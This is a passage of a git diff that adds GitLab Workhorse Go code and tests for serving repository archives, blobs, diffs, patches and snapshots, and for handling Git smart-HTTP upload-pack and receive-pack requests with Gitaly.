+ w.Header().Del("Set-Cookie")
+ if format == gitalypb.GetArchiveRequest_ZIP {
+ w.Header().Set("Content-Type", "application/zip")
+ } else {
+ w.Header().Set("Content-Type", "application/octet-stream")
+ }
+ w.Header().Set("Content-Transfer-Encoding", "binary")
+}
+
+func prepareArchiveTempfile(dir string, prefix string) (*os.File, error) {
+ if err := os.MkdirAll(dir, 0700); err != nil {
+ return nil, err
+ }
+ return ioutil.TempFile(dir, prefix)
+}
+
+func finalizeCachedArchive(tempFile *os.File, archivePath string) error {
+ if err := tempFile.Close(); err != nil {
+ return err
+ }
+ if err := os.Link(tempFile.Name(), archivePath); err != nil && !os.IsExist(err) {
+ return err
+ }
+
+ return nil
+}
+
+var (
+ patternZip = regexp.MustCompile(`\.zip$`)
+ patternTar = regexp.MustCompile(`\.tar$`)
+ patternTarGz = regexp.MustCompile(`\.(tar\.gz|tgz|gz)$`)
+ patternTarBz2 = regexp.MustCompile(`\.(tar\.bz2|tbz|tbz2|tb2|bz2)$`)
+)
+
+func parseBasename(basename string) (gitalypb.GetArchiveRequest_Format, bool) {
+ var format gitalypb.GetArchiveRequest_Format
+
+ switch {
+ case (basename == "archive"):
+ format = gitalypb.GetArchiveRequest_TAR_GZ
+ case patternZip.MatchString(basename):
+ format = gitalypb.GetArchiveRequest_ZIP
+ case patternTar.MatchString(basename):
+ format = gitalypb.GetArchiveRequest_TAR
+ case patternTarGz.MatchString(basename):
+ format = gitalypb.GetArchiveRequest_TAR_GZ
+ case patternTarBz2.MatchString(basename):
+ format = gitalypb.GetArchiveRequest_TAR_BZ2
+ default:
+ return format, false
+ }
+
+ return format, true
+}
diff --git a/workhorse/internal/git/archive_test.go b/workhorse/internal/git/archive_test.go
new file mode 100644
index 00000000000..4b0753499e5
--- /dev/null
+++ b/workhorse/internal/git/archive_test.go
@@ -0,0 +1,87 @@
+package git
+
+import (
+ "io/ioutil"
+ "net/http/httptest"
+ "testing"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestParseBasename(t *testing.T) {
+ for _, testCase := range []struct {
+ in string
+ out gitalypb.GetArchiveRequest_Format
+ }{
+ {"archive", gitalypb.GetArchiveRequest_TAR_GZ},
+ {"master.tar.gz", gitalypb.GetArchiveRequest_TAR_GZ},
+ {"foo-master.tgz", gitalypb.GetArchiveRequest_TAR_GZ},
+ {"foo-v1.2.1.gz", gitalypb.GetArchiveRequest_TAR_GZ},
+ {"foo.tar.bz2", gitalypb.GetArchiveRequest_TAR_BZ2},
+ {"archive.tbz", gitalypb.GetArchiveRequest_TAR_BZ2},
+ {"archive.tbz2", gitalypb.GetArchiveRequest_TAR_BZ2},
+ {"archive.tb2", gitalypb.GetArchiveRequest_TAR_BZ2},
+ {"archive.bz2", gitalypb.GetArchiveRequest_TAR_BZ2},
+ } {
+ basename := testCase.in
+ out, ok := parseBasename(basename)
+ if !ok {
+ t.Fatalf("parseBasename did not recognize %q", basename)
+ }
+
+ if out != testCase.out {
+ t.Fatalf("expected %q, got %q", testCase.out, out)
+ }
+ }
+}
+
+func TestFinalizeArchive(t *testing.T) {
+ tempFile, err := ioutil.TempFile("", "gitlab-workhorse-test")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer tempFile.Close()
+
+ // Deliberately cause an EEXIST error: we know tempFile.Name() already exists
+ err = finalizeCachedArchive(tempFile, tempFile.Name())
+ if err != nil {
+ t.Fatalf("expected nil from finalizeCachedArchive, received %v", err)
+ }
+}
+
+func TestSetArchiveHeaders(t *testing.T) {
+ for _, testCase := range []struct {
+ in gitalypb.GetArchiveRequest_Format
+ out string
+ }{
+ {gitalypb.GetArchiveRequest_ZIP, "application/zip"},
+ {gitalypb.GetArchiveRequest_TAR, "application/octet-stream"},
+ {gitalypb.GetArchiveRequest_TAR_GZ, "application/octet-stream"},
+ {gitalypb.GetArchiveRequest_TAR_BZ2, "application/octet-stream"},
+ } {
+ w := httptest.NewRecorder()
+
+ // These should be replaced, not appended to
+ w.Header().Set("Content-Type", "test")
+ w.Header().Set("Content-Length", "test")
+ w.Header().Set("Content-Disposition", "test")
+
+ // This should be deleted
+ w.Header().Set("Set-Cookie", "test")
+
+ // This should be preserved
+ w.Header().Set("Cache-Control", "public, max-age=3600")
+
+ setArchiveHeaders(w, testCase.in, "filename")
+
+ testhelper.RequireResponseHeader(t, w, "Content-Type", testCase.out)
+ testhelper.RequireResponseHeader(t, w, "Content-Length")
+ testhelper.RequireResponseHeader(t, w, "Content-Disposition", `attachment; filename="filename"`)
+ testhelper.RequireResponseHeader(t, w, "Cache-Control", "public, max-age=3600")
+ require.Empty(t, w.Header().Get("Set-Cookie"), "remove Set-Cookie")
+ }
+}
diff --git a/workhorse/internal/git/blob.go b/workhorse/internal/git/blob.go
new file mode 100644
index 00000000000..472f5d0bc96
--- /dev/null
+++ b/workhorse/internal/git/blob.go
@@ -0,0 +1,47 @@
+package git
+
+import (
+ "fmt"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+)
+
+type blob struct{ senddata.Prefix }
+type blobParams struct {
+ GitalyServer gitaly.Server
+ GetBlobRequest gitalypb.GetBlobRequest
+}
+
+var SendBlob = &blob{"git-blob:"}
+
+func (b *blob) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ var params blobParams
+ if err := b.Unpack(&params, sendData); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendBlob: unpack sendData: %v", err))
+ return
+ }
+
+ ctx, blobClient, err := gitaly.NewBlobClient(r.Context(), params.GitalyServer)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("blob.GetBlob: %v", err))
+ return
+ }
+
+ setBlobHeaders(w)
+ if err := blobClient.SendBlob(ctx, w, &params.GetBlobRequest); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("blob.GetBlob: %v", err))
+ return
+ }
+}
+
+func setBlobHeaders(w http.ResponseWriter) {
+ // Caching proxies usually don't cache responses with Set-Cookie header
+ // present because it implies user-specific data, which is not the case
+ // for blobs.
+ w.Header().Del("Set-Cookie")
+}
diff --git a/workhorse/internal/git/blob_test.go b/workhorse/internal/git/blob_test.go
new file mode 100644
index 00000000000..ec28c2adb2f
--- /dev/null
+++ b/workhorse/internal/git/blob_test.go
@@ -0,0 +1,17 @@
+package git
+
+import (
+ "net/http/httptest"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestSetBlobHeaders(t *testing.T) {
+ w := httptest.NewRecorder()
+ w.Header().Set("Set-Cookie", "gitlab_cookie=123456")
+
+ setBlobHeaders(w)
+
+ require.Empty(t, w.Header().Get("Set-Cookie"), "remove Set-Cookie")
+}
diff --git a/workhorse/internal/git/diff.go b/workhorse/internal/git/diff.go
new file mode 100644
index 00000000000..b1a1c17a650
--- /dev/null
+++ b/workhorse/internal/git/diff.go
@@ -0,0 +1,48 @@
+package git
+
+import (
+ "fmt"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+)
+
+type diff struct{ senddata.Prefix }
+type diffParams struct {
+ GitalyServer gitaly.Server
+ RawDiffRequest string
+}
+
+var SendDiff = &diff{"git-diff:"}
+
+func (d *diff) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ var params diffParams
+ if err := d.Unpack(&params, sendData); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendDiff: unpack sendData: %v", err))
+ return
+ }
+
+ request := &gitalypb.RawDiffRequest{}
+ if err := gitaly.UnmarshalJSON(params.RawDiffRequest, request); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("diff.RawDiff: %v", err))
+ return
+ }
+
+ ctx, diffClient, err := gitaly.NewDiffClient(r.Context(), params.GitalyServer)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("diff.RawDiff: %v", err))
+ return
+ }
+
+ if err := diffClient.SendRawDiff(ctx, w, request); err != nil {
+ helper.LogError(
+ r,
+ &copyError{fmt.Errorf("diff.RawDiff: request=%v, err=%v", request, err)},
+ )
+ return
+ }
+}
diff --git a/workhorse/internal/git/error.go b/workhorse/internal/git/error.go
new file mode 100644
index 00000000000..2b7cad6bb64
--- /dev/null
+++ b/workhorse/internal/git/error.go
@@ -0,0 +1,4 @@
+package git
+
+// For cosmetic purposes in Sentry
+type copyError struct{ error }
diff --git a/workhorse/internal/git/format-patch.go b/workhorse/internal/git/format-patch.go
new file mode 100644
index 00000000000..db96029b07e
--- /dev/null
+++ b/workhorse/internal/git/format-patch.go
@@ -0,0 +1,48 @@
+package git
+
+import (
+ "fmt"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+)
+
+type patch struct{ senddata.Prefix }
+type patchParams struct {
+ GitalyServer gitaly.Server
+ RawPatchRequest string
+}
+
+var SendPatch = &patch{"git-format-patch:"}
+
+func (p *patch) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ var params patchParams
+ if err := p.Unpack(&params, sendData); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendPatch: unpack sendData: %v", err))
+ return
+ }
+
+ request := &gitalypb.RawPatchRequest{}
+ if err := gitaly.UnmarshalJSON(params.RawPatchRequest, request); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("diff.RawPatch: %v", err))
+ return
+ }
+
+ ctx, diffClient, err := gitaly.NewDiffClient(r.Context(), params.GitalyServer)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("diff.RawPatch: %v", err))
+ return
+ }
+
+ if err := diffClient.SendRawPatch(ctx, w, request); err != nil {
+ helper.LogError(
+ r,
+ &copyError{fmt.Errorf("diff.RawPatch: request=%v, err=%v", request, err)},
+ )
+ return
+ }
+}
diff --git a/workhorse/internal/git/git-http.go b/workhorse/internal/git/git-http.go
new file mode 100644
index 00000000000..5df20a68bb7
--- /dev/null
+++ b/workhorse/internal/git/git-http.go
@@ -0,0 +1,100 @@
+/*
+In this file we handle the Git 'smart HTTP' protocol
+*/
+
+package git
+
+import (
+ "fmt"
+ "io"
+ "net/http"
+ "path/filepath"
+ "sync"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+const (
+ // We have to use a negative transfer.hideRefs since this is the only way
+ // to undo an already set parameter: https://www.spinics.net/lists/git/msg256772.html
+ GitConfigShowAllRefs = "transfer.hideRefs=!refs"
+)
+
+func ReceivePack(a *api.API) http.Handler {
+ return postRPCHandler(a, "handleReceivePack", handleReceivePack)
+}
+
+func UploadPack(a *api.API) http.Handler {
+ return postRPCHandler(a, "handleUploadPack", handleUploadPack)
+}
+
+func gitConfigOptions(a *api.Response) []string {
+ var out []string
+
+ if a.ShowAllRefs {
+ out = append(out, GitConfigShowAllRefs)
+ }
+
+ return out
+}
+
+func postRPCHandler(a *api.API, name string, handler func(*HttpResponseWriter, *http.Request, *api.Response) error) http.Handler {
+ return repoPreAuthorizeHandler(a, func(rw http.ResponseWriter, r *http.Request, ar *api.Response) {
+ cr := &countReadCloser{ReadCloser: r.Body}
+ r.Body = cr
+
+ w := NewHttpResponseWriter(rw)
+ defer func() {
+ w.Log(r, cr.Count())
+ }()
+
+ if err := handler(w, r, ar); err != nil {
+ // If the handler already wrote a response this WriteHeader call is a
+ // no-op. It never reaches net/http because GitHttpResponseWriter calls
+ // WriteHeader on its underlying ResponseWriter at most once.
+ w.WriteHeader(500)
+ helper.LogError(r, fmt.Errorf("%s: %v", name, err))
+ }
+ })
+}
+
+func repoPreAuthorizeHandler(myAPI *api.API, handleFunc api.HandleFunc) http.Handler {
+ return myAPI.PreAuthorizeHandler(func(w http.ResponseWriter, r *http.Request, a *api.Response) {
+ handleFunc(w, r, a)
+ }, "")
+}
+
+func writePostRPCHeader(w http.ResponseWriter, action string) {
+ w.Header().Set("Content-Type", fmt.Sprintf("application/x-%s-result", action))
+ w.Header().Set("Cache-Control", "no-cache")
+}
+
+func getService(r *http.Request) string {
+ if r.Method == "GET" {
+ return r.URL.Query().Get("service")
+ }
+ return filepath.Base(r.URL.Path)
+}
+
+type countReadCloser struct {
+ n int64
+ io.ReadCloser
+ sync.Mutex
+}
+
+func (c *countReadCloser) Read(p []byte) (n int, err error) {
+ n, err = c.ReadCloser.Read(p)
+
+ c.Lock()
+ defer c.Unlock()
+ c.n += int64(n)
+
+ return n, err
+}
+
+func (c *countReadCloser) Count() int64 {
+ c.Lock()
+ defer c.Unlock()
+ return c.n
+}
diff --git a/workhorse/internal/git/info-refs.go b/workhorse/internal/git/info-refs.go
new file mode 100644
index 00000000000..e5491a7b733
--- /dev/null
+++ b/workhorse/internal/git/info-refs.go
@@ -0,0 +1,76 @@
+package git
+
+import (
+ "compress/gzip"
+ "context"
+ "fmt"
+ "io"
+ "net/http"
+
+ "github.com/golang/gddo/httputil"
+
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+func GetInfoRefsHandler(a *api.API) http.Handler {
+ return repoPreAuthorizeHandler(a, handleGetInfoRefs)
+}
+
+func handleGetInfoRefs(rw http.ResponseWriter, r *http.Request, a *api.Response) {
+ responseWriter := NewHttpResponseWriter(rw)
+ // Log 0 bytes in because we ignore the request body (and there usually is none anyway).
+ defer responseWriter.Log(r, 0)
+
+ rpc := getService(r)
+ if !(rpc == "git-upload-pack" || rpc == "git-receive-pack") {
+ // The 'dumb' Git HTTP protocol is not supported
+ http.Error(responseWriter, "Not Found", 404)
+ return
+ }
+
+ responseWriter.Header().Set("Content-Type", fmt.Sprintf("application/x-%s-advertisement", rpc))
+ responseWriter.Header().Set("Cache-Control", "no-cache")
+
+ gitProtocol := r.Header.Get("Git-Protocol")
+
+ offers := []string{"gzip", "identity"}
+ encoding := httputil.NegotiateContentEncoding(r, offers)
+
+ if err := handleGetInfoRefsWithGitaly(r.Context(), responseWriter, a, rpc, gitProtocol, encoding); err != nil {
+ helper.Fail500(responseWriter, r, fmt.Errorf("handleGetInfoRefs: %v", err))
+ }
+}
+
+func handleGetInfoRefsWithGitaly(ctx context.Context, responseWriter *HttpResponseWriter, a *api.Response, rpc, gitProtocol, encoding string) error {
+ ctx, smarthttp, err := gitaly.NewSmartHTTPClient(ctx, a.GitalyServer)
+ if err != nil {
+ return fmt.Errorf("GetInfoRefsHandler: %v", err)
+ }
+
+ infoRefsResponseReader, err := smarthttp.InfoRefsResponseReader(ctx, &a.Repository, rpc, gitConfigOptions(a), gitProtocol)
+ if err != nil {
+ return fmt.Errorf("GetInfoRefsHandler: %v", err)
+ }
+
+ var w io.Writer
+
+ if encoding == "gzip" {
+ gzWriter := gzip.NewWriter(responseWriter)
+ w = gzWriter
+ defer gzWriter.Close()
+
+ responseWriter.Header().Set("Content-Encoding", "gzip")
+ } else {
+ w = responseWriter
+ }
+
+ if _, err = io.Copy(w, infoRefsResponseReader); err != nil {
+ log.WithError(err).Error("GetInfoRefsHandler: error copying gitaly response")
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/git/pktline.go b/workhorse/internal/git/pktline.go
new file mode 100644
index 00000000000..e970f60182d
--- /dev/null
+++ b/workhorse/internal/git/pktline.go
@@ -0,0 +1,59 @@
+package git
+
+import (
+ "bufio"
+ "bytes"
+ "fmt"
+ "io"
+ "strconv"
+)
+
+func scanDeepen(body io.Reader) bool {
+ scanner := bufio.NewScanner(body)
+ scanner.Split(pktLineSplitter)
+ for scanner.Scan() {
+ if bytes.HasPrefix(scanner.Bytes(), []byte("deepen")) && scanner.Err() == nil {
+ return true
+ }
+ }
+
+ return false
+}
+
+func pktLineSplitter(data []byte, atEOF bool) (advance int, token []byte, err error) {
+ if len(data) < 4 {
+ if atEOF && len(data) > 0 {
+ return 0, nil, fmt.Errorf("pktLineSplitter: incomplete length prefix on %q", data)
+ }
+ return 0, nil, nil // want more data
+ }
+
+ if bytes.HasPrefix(data, []byte("0000")) {
+ // special case: "0000" terminator packet: return empty token
+ return 4, data[:0], nil
+ }
+
+ // We have at least 4 bytes available so we can decode the 4-hex digit
+ // length prefix of the packet line.
+ pktLength64, err := strconv.ParseInt(string(data[:4]), 16, 0)
+ if err != nil {
+ return 0, nil, fmt.Errorf("pktLineSplitter: decode length: %v", err)
+ }
+
+ // Cast is safe because we requested an int-size number from strconv.ParseInt
+ pktLength := int(pktLength64)
+
+ if pktLength < 0 {
+ return 0, nil, fmt.Errorf("pktLineSplitter: invalid length: %d", pktLength)
+ }
+
+ if len(data) < pktLength {
+ if atEOF {
+ return 0, nil, fmt.Errorf("pktLineSplitter: less than %d bytes in input %q", pktLength, data)
+ }
+ return 0, nil, nil // want more data
+ }
+
+ // return "pkt" token without length prefix
+ return pktLength, data[4:pktLength], nil
+}
diff --git a/workhorse/internal/git/pktline_test.go b/workhorse/internal/git/pktline_test.go
new file mode 100644
index 00000000000..d4be8634538
--- /dev/null
+++ b/workhorse/internal/git/pktline_test.go
@@ -0,0 +1,39 @@
+package git
+
+import (
+ "bytes"
+ "testing"
+)
+
+func TestSuccessfulScanDeepen(t *testing.T) {
+ examples := []struct {
+ input string
+ output bool
+ }{
+ {"000dsomething000cdeepen 10000", true},
+ {"000dsomething0000000cdeepen 1", true},
+ {"000dsomething0000", false},
+ }
+
+ for _, example := range examples {
+ hasDeepen := scanDeepen(bytes.NewReader([]byte(example.input)))
+
+ if hasDeepen != example.output {
+ t.Fatalf("scanDeepen %q: expected %v, got %v", example.input, example.output, hasDeepen)
+ }
+ }
+}
+
+func TestFailedScanDeepen(t *testing.T) {
+ examples := []string{
+ "invalid data",
+ "deepen",
+ "000cdeepen",
+ }
+
+ for _, example := range examples {
+ if scanDeepen(bytes.NewReader([]byte(example))) {
+ t.Fatalf("scanDeepen %q: expected result to be false, got true", example)
+ }
+ }
+}
diff --git a/workhorse/internal/git/receive-pack.go b/workhorse/internal/git/receive-pack.go
new file mode 100644
index 00000000000..e72d8be5174
--- /dev/null
+++ b/workhorse/internal/git/receive-pack.go
@@ -0,0 +1,33 @@
+package git
+
+import (
+ "fmt"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+// Will not return a non-nil error after the response body has been
+// written to.
+func handleReceivePack(w *HttpResponseWriter, r *http.Request, a *api.Response) error {
+ action := getService(r)
+ writePostRPCHeader(w, action)
+
+ cr, cw := helper.NewWriteAfterReader(r.Body, w)
+ defer cw.Flush()
+
+ gitProtocol := r.Header.Get("Git-Protocol")
+
+ ctx, smarthttp, err := gitaly.NewSmartHTTPClient(r.Context(), a.GitalyServer)
+ if err != nil {
+ return fmt.Errorf("smarthttp.ReceivePack: %v", err)
+ }
+
+ if err := smarthttp.ReceivePack(ctx, &a.Repository, a.GL_ID, a.GL_USERNAME, a.GL_REPOSITORY, a.GitConfigOptions, cr, cw, gitProtocol); err != nil {
+ return fmt.Errorf("smarthttp.ReceivePack: %v", err)
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/git/responsewriter.go b/workhorse/internal/git/responsewriter.go
new file mode 100644
index 00000000000..c4d4ac252d4
--- /dev/null
+++ b/workhorse/internal/git/responsewriter.go
@@ -0,0 +1,75 @@
+package git
+
+import (
+ "net/http"
+ "strconv"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+const (
+ directionIn = "in"
+ directionOut = "out"
+)
+
+var (
+ gitHTTPSessionsActive = promauto.NewGauge(prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_git_http_sessions_active",
+ Help: "Number of Git HTTP request-response cycles currently being handled by gitlab-workhorse.",
+ })
+
+ gitHTTPRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_git_http_requests",
+ Help: "How many Git HTTP requests have been processed by gitlab-workhorse, partitioned by request type and agent.",
+ },
+ []string{"method", "code", "service", "agent"},
+ )
+
+ gitHTTPBytes = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_git_http_bytes",
+ Help: "How many Git HTTP bytes have been sent by gitlab-workhorse, partitioned by request type, agent and direction.",
+ },
+ []string{"method", "code", "service", "agent", "direction"},
+ )
+)
+
+type HttpResponseWriter struct {
+ helper.CountingResponseWriter
+}
+
+func NewHttpResponseWriter(rw http.ResponseWriter) *HttpResponseWriter {
+ gitHTTPSessionsActive.Inc()
+ return &HttpResponseWriter{
+ CountingResponseWriter: helper.NewCountingResponseWriter(rw),
+ }
+}
+
+func (w *HttpResponseWriter) Log(r *http.Request, writtenIn int64) {
+ service := getService(r)
+ agent := getRequestAgent(r)
+
+ gitHTTPSessionsActive.Dec()
+ gitHTTPRequests.WithLabelValues(r.Method, strconv.Itoa(w.Status()), service, agent).Inc()
+ gitHTTPBytes.WithLabelValues(r.Method, strconv.Itoa(w.Status()), service, agent, directionIn).
+ Add(float64(writtenIn))
+ gitHTTPBytes.WithLabelValues(r.Method, strconv.Itoa(w.Status()), service, agent, directionOut).
+ Add(float64(w.Count()))
+}
+
+func getRequestAgent(r *http.Request) string {
+ u, _, ok := r.BasicAuth()
+ if !ok {
+ return "anonymous"
+ }
+
+ if u == "gitlab-ci-token" {
+ return "gitlab-ci"
+ }
+
+ return "logged"
+}
diff --git a/workhorse/internal/git/snapshot.go b/workhorse/internal/git/snapshot.go
new file mode 100644
index 00000000000..eb38becbd06
--- /dev/null
+++ b/workhorse/internal/git/snapshot.go
@@ -0,0 +1,64 @@
+package git
+
+import (
+ "fmt"
+ "io"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+)
+
+type snapshot struct {
+ senddata.Prefix
+}
+
+type snapshotParams struct {
+ GitalyServer gitaly.Server
+ GetSnapshotRequest string
+}
+
+var (
+ SendSnapshot = &snapshot{"git-snapshot:"}
+)
+
+func (s *snapshot) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ var params snapshotParams
+
+ if err := s.Unpack(&params, sendData); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendSnapshot: unpack sendData: %v", err))
+ return
+ }
+
+ request := &gitalypb.GetSnapshotRequest{}
+ if err := gitaly.UnmarshalJSON(params.GetSnapshotRequest, request); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendSnapshot: unmarshal GetSnapshotRequest: %v", err))
+ return
+ }
+
+ ctx, c, err := gitaly.NewRepositoryClient(r.Context(), params.GitalyServer)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendSnapshot: gitaly.NewRepositoryClient: %v", err))
+ return
+ }
+
+ reader, err := c.SnapshotReader(ctx, request)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendSnapshot: client.SnapshotReader: %v", err))
+ return
+ }
+
+ w.Header().Del("Content-Length")
+ w.Header().Set("Content-Disposition", `attachment; filename="snapshot.tar"`)
+ w.Header().Set("Content-Type", "application/x-tar")
+ w.Header().Set("Content-Transfer-Encoding", "binary")
+ w.Header().Set("Cache-Control", "private")
+ w.WriteHeader(http.StatusOK) // Errors aren't detectable beyond this point
+
+ if _, err := io.Copy(w, reader); err != nil {
+ helper.LogError(r, fmt.Errorf("SendSnapshot: copy gitaly output: %v", err))
+ }
+}
diff --git a/workhorse/internal/git/upload-pack.go b/workhorse/internal/git/upload-pack.go
new file mode 100644
index 00000000000..a3dbf2f2e02
--- /dev/null
+++ b/workhorse/internal/git/upload-pack.go
@@ -0,0 +1,57 @@
+package git
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net/http"
+ "time"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+var (
+ uploadPackTimeout = 10 * time.Minute
+)
+
+// Will not return a non-nil error after the response body has been
+// written to.
+func handleUploadPack(w *HttpResponseWriter, r *http.Request, a *api.Response) error {
+ ctx := r.Context()
+
+ // Prevent the client from holding the connection open indefinitely. A
+ // transfer rate of 17KiB/sec is sufficient to send 10MiB of data in
+ // ten minutes, which seems adequate. Most requests will be much smaller.
+ // This mitigates a use-after-check issue.
+ //
+ // We can't reliably interrupt the read from a http handler, but we can
+ // ensure the request will (eventually) fail: https://github.com/golang/go/issues/16100
+ readerCtx, cancel := context.WithTimeout(ctx, uploadPackTimeout)
+ defer cancel()
+
+ limited := helper.NewContextReader(readerCtx, r.Body)
+ cr, cw := helper.NewWriteAfterReader(limited, w)
+ defer cw.Flush()
+
+ action := getService(r)
+ writePostRPCHeader(w, action)
+
+ gitProtocol := r.Header.Get("Git-Protocol")
+
+ return handleUploadPackWithGitaly(ctx, a, cr, cw, gitProtocol)
+}
+
+func handleUploadPackWithGitaly(ctx context.Context, a *api.Response, clientRequest io.Reader, clientResponse io.Writer, gitProtocol string) error {
+ ctx, smarthttp, err := gitaly.NewSmartHTTPClient(ctx, a.GitalyServer)
+ if err != nil {
+ return fmt.Errorf("smarthttp.UploadPack: %v", err)
+ }
+
+ if err := smarthttp.UploadPack(ctx, &a.Repository, clientRequest, clientResponse, gitConfigOptions(a), gitProtocol); err != nil {
+ return fmt.Errorf("smarthttp.UploadPack: %v", err)
+ }
+
+ return nil
+}
diff --git a/workhorse/internal/git/upload-pack_test.go b/workhorse/internal/git/upload-pack_test.go
new file mode 100644
index 00000000000..c198939d5df
--- /dev/null
+++ b/workhorse/internal/git/upload-pack_test.go
@@ -0,0 +1,85 @@
+package git
+
+import (
+ "fmt"
+ "io/ioutil"
+ "net"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+ "google.golang.org/grpc"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
+)
+
+var (
+ originalUploadPackTimeout = uploadPackTimeout
+)
+
+type fakeReader struct {
+ n int
+ err error
+}
+
+func (f *fakeReader) Read(b []byte) (int, error) {
+ return f.n, f.err
+}
+
+type smartHTTPServiceServer struct {
+ gitalypb.UnimplementedSmartHTTPServiceServer
+ PostUploadPackFunc func(gitalypb.SmartHTTPService_PostUploadPackServer) error
+}
+
+func (srv *smartHTTPServiceServer) PostUploadPack(s gitalypb.SmartHTTPService_PostUploadPackServer) error {
+ return srv.PostUploadPackFunc(s)
+}
+
+func TestUploadPackTimesOut(t *testing.T) {
+ uploadPackTimeout = time.Millisecond
+ defer func() { uploadPackTimeout = originalUploadPackTimeout }()
+
+ addr, cleanUp := startSmartHTTPServer(t, &smartHTTPServiceServer{
+ PostUploadPackFunc: func(stream gitalypb.SmartHTTPService_PostUploadPackServer) error {
+ _, err := stream.Recv() // trigger a read on the client request body
+ require.NoError(t, err)
+ return nil
+ },
+ })
+ defer cleanUp()
+
+ body := &fakeReader{n: 0, err: nil}
+
+ w := httptest.NewRecorder()
+ r := httptest.NewRequest("GET", "/", body)
+ a := &api.Response{GitalyServer: gitaly.Server{Address: addr}}
+
+ err := handleUploadPack(NewHttpResponseWriter(w), r, a)
+ require.EqualError(t, err, "smarthttp.UploadPack: busyReader: context deadline exceeded")
+}
+
+func startSmartHTTPServer(t testing.TB, s gitalypb.SmartHTTPServiceServer) (string, func()) {
+ tmp, err := ioutil.TempDir("", "")
+ require.NoError(t, err)
+
+ socket := filepath.Join(tmp, "gitaly.sock")
+ ln, err := net.Listen("unix", socket)
+ require.NoError(t, err)
+
+ srv := grpc.NewServer()
+ gitalypb.RegisterSmartHTTPServiceServer(srv, s)
+ go func() {
+ require.NoError(t, srv.Serve(ln))
+ }()
+
+ return fmt.Sprintf("%s://%s", ln.Addr().Network(), ln.Addr().String()), func() {
+ srv.GracefulStop()
+ require.NoError(t, os.RemoveAll(tmp), "error removing temp dir %q", tmp)
+ }
+}
diff --git a/workhorse/internal/gitaly/blob.go b/workhorse/internal/gitaly/blob.go
new file mode 100644
index 00000000000..c6f5d6676f3
--- /dev/null
+++ b/workhorse/internal/gitaly/blob.go
@@ -0,0 +1,41 @@
+package gitaly
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net/http"
+ "strconv"
+
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/streamio"
+)
+
+type BlobClient struct {
+ gitalypb.BlobServiceClient
+}
+
